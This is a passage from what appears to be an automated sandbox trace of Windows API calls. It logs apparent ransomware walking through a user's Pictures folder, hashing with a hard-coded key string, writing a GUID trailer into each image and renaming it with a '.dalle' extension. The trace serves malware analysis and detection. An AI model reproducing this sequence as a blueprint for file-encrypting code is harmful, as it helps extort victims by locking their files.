lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.691] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.691] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x1372a, lpOverlapped=0x0) returned 1 [0120.692] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.692] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.692] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.692] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.692] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.692] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.693] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.693] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.693] GetLastError () returned 0x0 [0120.693] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.693] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.693] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1372a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.693] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.693] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.693] CloseHandle (hObject=0x618) returned 1 [0120.695] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BjAZB51qWZoAHkE5.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bjazb51qwzoahke5.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BjAZB51qWZoAHkE5.bmp.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bjazb51qwzoahke5.bmp.dalle")) returned 1 [0120.696] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707b9ef0, ftCreationTime.dwHighDateTime=0x1d4cba1, ftLastAccessTime.dwLowDateTime=0x9f368b90, ftLastAccessTime.dwHighDateTime=0x1d4cfd6, ftLastWriteTime.dwLowDateTime=0x9f368b90, ftLastWriteTime.dwHighDateTime=0x1d4cfd6, nFileSizeHigh=0x0, nFileSizeLow=0x185c5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CWSnMwdRRtXA.png", cAlternateFileName="CWSNMW~1.PNG")) returned 1 [0120.696] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CWSnMwdRRtXA.png") returned=".png" [0120.696] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CWSnMwdRRtXA.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\cwsnmwdrrtxa.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.696] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=99781) returned 1 [0120.696] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.697] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1859f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.697] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.699] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x185c5, lpOverlapped=0x0) returned 1 [0120.700] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.700] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.700] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.700] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0120.700] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.700] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.701] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.701] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.701] GetLastError () returned 0x0 [0120.701] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.701] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0120.701] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x185c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.701] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.702] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.702] CloseHandle (hObject=0x618) returned 1 [0120.703] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CWSnMwdRRtXA.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\cwsnmwdrrtxa.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\CWSnMwdRRtXA.png.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\cwsnmwdrrtxa.png.dalle")) returned 1 [0120.704] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f150630, ftCreationTime.dwHighDateTime=0x1d4cd2b, ftLastAccessTime.dwLowDateTime=0xf7b4f620, ftLastAccessTime.dwHighDateTime=0x1d4cc0d, ftLastWriteTime.dwLowDateTime=0xf7b4f620, ftLastWriteTime.dwHighDateTime=0x1d4cc0d, nFileSizeHigh=0x0, nFileSizeLow=0x7ec4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D131k21I.jpg", cAlternateFileName="")) returned 1 [0120.704] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\D131k21I.jpg") returned=".jpg" [0120.704] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\D131k21I.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\d131k21i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.704] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=32452) returned 1 [0120.704] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.705] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x7e9e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.705] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.707] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x7ec4, lpOverlapped=0x0) returned 1 [0120.707] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.707] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.707] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.707] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0120.708] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.708] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.708] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.708] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.708] GetLastError () returned 0x0 [0120.708] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.708] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0120.709] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x7ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.709] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.709] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.709] CloseHandle (hObject=0x618) returned 1 [0120.710] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\D131k21I.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\d131k21i.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\D131k21I.jpg.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\d131k21i.jpg.dalle")) returned 1 [0120.711] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0120.711] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini") returned=".ini" [0120.711] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x641ff480, ftCreationTime.dwHighDateTime=0x1d4c7b9, ftLastAccessTime.dwLowDateTime=0x6cea6810, ftLastAccessTime.dwHighDateTime=0x1d4d2d7, ftLastWriteTime.dwLowDateTime=0x6cea6810, ftLastWriteTime.dwHighDateTime=0x1d4d2d7, nFileSizeHigh=0x0, nFileSizeLow=0x7f05, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dLald8SOrzsBDSo38L.gif", cAlternateFileName="DLALD8~1.GIF")) returned 1 [0120.711] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dLald8SOrzsBDSo38L.gif") returned=".gif" [0120.711] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dLald8SOrzsBDSo38L.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dlald8sorzsbdso38l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.712] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=32517) returned 1 [0120.712] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.713] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x7edf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.713] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.715] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x7f05, lpOverlapped=0x0) returned 1 [0120.715] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.715] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.715] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.715] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.716] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.716] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.716] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.716] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.716] GetLastError () returned 0x0 [0120.716] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.716] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.717] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x7f05, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.717] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.717] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.717] CloseHandle (hObject=0x618) returned 1 [0120.718] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dLald8SOrzsBDSo38L.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dlald8sorzsbdso38l.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dLald8SOrzsBDSo38L.gif.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dlald8sorzsbdso38l.gif.dalle")) returned 1 [0120.719] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54bf9c50, ftCreationTime.dwHighDateTime=0x1d4d2c9, ftLastAccessTime.dwLowDateTime=0x424661d0, ftLastAccessTime.dwHighDateTime=0x1d4ccb6, ftLastWriteTime.dwLowDateTime=0x424661d0, ftLastWriteTime.dwHighDateTime=0x1d4ccb6, nFileSizeHigh=0x0, nFileSizeLow=0x166ff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fQe1ychsju.png", cAlternateFileName="FQE1YC~1.PNG")) returned 1 [0120.719] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fQe1ychsju.png") returned=".png" [0120.719] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fQe1ychsju.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fqe1ychsju.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.720] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=91903) returned 1 [0120.720] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.721] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x166d9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.721] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.722] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x166ff, lpOverlapped=0x0) returned 1 [0120.723] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.723] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.723] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.723] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0120.724] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.724] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.724] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.724] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.724] GetLastError () returned 0x0 [0120.724] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.724] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0120.725] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x166ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.725] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.725] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.725] CloseHandle (hObject=0x618) returned 1 [0120.726] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fQe1ychsju.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fqe1ychsju.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fQe1ychsju.png.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fqe1ychsju.png.dalle")) returned 1 [0120.727] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ac4190, ftCreationTime.dwHighDateTime=0x1d4ce72, ftLastAccessTime.dwLowDateTime=0x8aca1730, ftLastAccessTime.dwHighDateTime=0x1d4c900, ftLastWriteTime.dwLowDateTime=0x8aca1730, ftLastWriteTime.dwHighDateTime=0x1d4c900, nFileSizeHigh=0x0, nFileSizeLow=0x617d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GFnV27F7zcqX6l.jpg", cAlternateFileName="GFNV27~1.JPG")) returned 1 [0120.727] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GFnV27F7zcqX6l.jpg") returned=".jpg" [0120.727] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GFnV27F7zcqX6l.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gfnv27f7zcqx6l.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.727] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=24957) returned 1 [0120.727] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.728] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x6157, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.729] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.730] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.730] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x617d, lpOverlapped=0x0) returned 1 [0120.731] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.731] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.731] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.731] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.731] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.731] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.731] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.732] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.732] GetLastError () returned 0x0 [0120.732] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.732] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.732] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x617d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.732] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.732] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.732] CloseHandle (hObject=0x618) returned 1 [0120.733] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GFnV27F7zcqX6l.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gfnv27f7zcqx6l.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GFnV27F7zcqX6l.jpg.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gfnv27f7zcqx6l.jpg.dalle")) returned 1 [0120.734] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e802420, ftCreationTime.dwHighDateTime=0x1d4d391, ftLastAccessTime.dwLowDateTime=0xec7fdf80, ftLastAccessTime.dwHighDateTime=0x1d4c763, ftLastWriteTime.dwLowDateTime=0xec7fdf80, ftLastWriteTime.dwHighDateTime=0x1d4c763, nFileSizeHigh=0x0, nFileSizeLow=0x135fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GZFXJ5sPjVz.png", cAlternateFileName="GZFXJ5~1.PNG")) returned 1 [0120.734] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GZFXJ5sPjVz.png") returned=".png" [0120.734] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GZFXJ5sPjVz.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gzfxj5spjvz.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.734] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=79356) returned 1 [0120.735] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.736] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x135d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.736] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.737] ReadFile (in: hFile=0x618, 